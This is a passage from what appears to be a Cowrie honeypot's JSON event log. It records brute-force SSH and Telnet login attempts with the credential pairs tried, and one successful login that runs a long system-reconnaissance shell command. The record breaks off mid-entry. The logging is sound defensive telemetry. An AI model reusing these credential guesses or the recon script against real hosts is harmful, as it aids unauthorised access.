{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:48.510683Z","src_ip":"103.27.238.120","session":"7ff7adb529a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":40884,"dst_ip":"10.17.0.5","dst_port":22,"session":"06f39734afec","protocol":"ssh","message":"New connection: 103.248.120.6:40884 (10.17.0.5:22) [session: 06f39734afec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:53.461170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:53.467332Z","src_ip":"103.248.120.6","session":"06f39734afec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:53.688310Z","src_ip":"103.248.120.6","session":"06f39734afec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!@#$","message":"login attempt [root/admin123!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:54.602708Z","src_ip":"103.248.120.6","session":"06f39734afec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:55.825467Z","src_ip":"103.248.120.6","session":"06f39734afec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":44194,"dst_ip":"10.17.0.5","dst_port":22,"session":"c50d7b835af8","protocol":"ssh","message":"New connection: 94.159.110.201:44194 (10.17.0.5:22) [session: c50d7b835af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:00.218180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:00.222677Z","src_ip":"94.159.110.201","session":"c50d7b835af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:00.337471Z","src_ip":"94.159.110.201","session":"c50d7b835af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21081979","message":"login attempt [root/21081979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:00.676256Z","src_ip":"94.159.110.201","session":"c50d7b835af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:01.791597Z","src_ip":"94.159.110.201","session":"c50d7b835af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":45784,"dst_ip":"10.17.0.5","dst_port":22,"session":"afb518834369","protocol":"ssh","message":"New connection: 190.244.39.224:45784 (10.17.0.5:22) [session: afb518834369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:04.720452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:04.727684Z","src_ip":"190.244.39.224","session":"afb518834369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:04.904016Z","src_ip":"190.244.39.224","session":"afb518834369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"userftp2024","message":"login attempt [userftp/userftp2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:05.627509Z","src_ip":"190.244.39.224","session":"afb518834369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:06.818474Z","src_ip":"190.244.39.224","session":"afb518834369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":49224,"dst_ip":"10.17.0.5","dst_port":22,"session":"11ca7ee691c4","protocol":"ssh","message":"New connection: 91.92.40.176:49224 (10.17.0.5:22) [session: 11ca7ee691c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:54.451262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:54.455724Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:54.537218Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin","message":"login attempt [admin/adminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:54.785237Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.011307Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.013888Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.017020Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.019594Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.022389Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.025940Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.028675Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.031450Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.035479Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.040299Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.044635Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.389731Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.574869Z","src_ip":"91.92.40.176","session":"11ca7ee691c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53198,"dst_ip":"159.203.135.109","dst_port":23,"session":"70314e40b058","protocol":"telnet","message":"New connection: 170.64.224.25:53198 (159.203.135.109:23) [session: 70314e40b058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:32:55.879745Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54572,"dst_ip":"159.203.135.109","dst_port":23,"session":"93cd2f5934a1","protocol":"telnet","message":"New connection: 170.64.224.25:54572 (159.203.135.109:23) [session: 93cd2f5934a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:33:23.616434Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":34652,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d130e54e9f5","protocol":"ssh","message":"New connection: 143.20.185.207:34652 (10.17.0.5:22) [session: 6d130e54e9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:33:24.459620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:33:24.462254Z","src_ip":"143.20.185.207","session":"6d130e54e9f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:33:24.575455Z","src_ip":"143.20.185.207","session":"6d130e54e9f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS8VCPU16GBAMD","message":"login attempt [root/RASYAXINSAVPS8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:33:24.921319Z","src_ip":"143.20.185.207","session":"6d130e54e9f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:33:26.040482Z","src_ip":"143.20.185.207","session":"6d130e54e9f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.10694098472595,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:33:46.986543Z","src_ip":"170.64.224.25","session":"70314e40b058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46622,"dst_ip":"10.17.0.5","dst_port":22,"session":"832cdffbb8fd","protocol":"ssh","message":"New connection: 77.94.47.83:46622 (10.17.0.5:22) [session: 832cdffbb8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:04.734081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:34:04.738428Z","src_ip":"77.94.47.83","session":"832cdffbb8fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v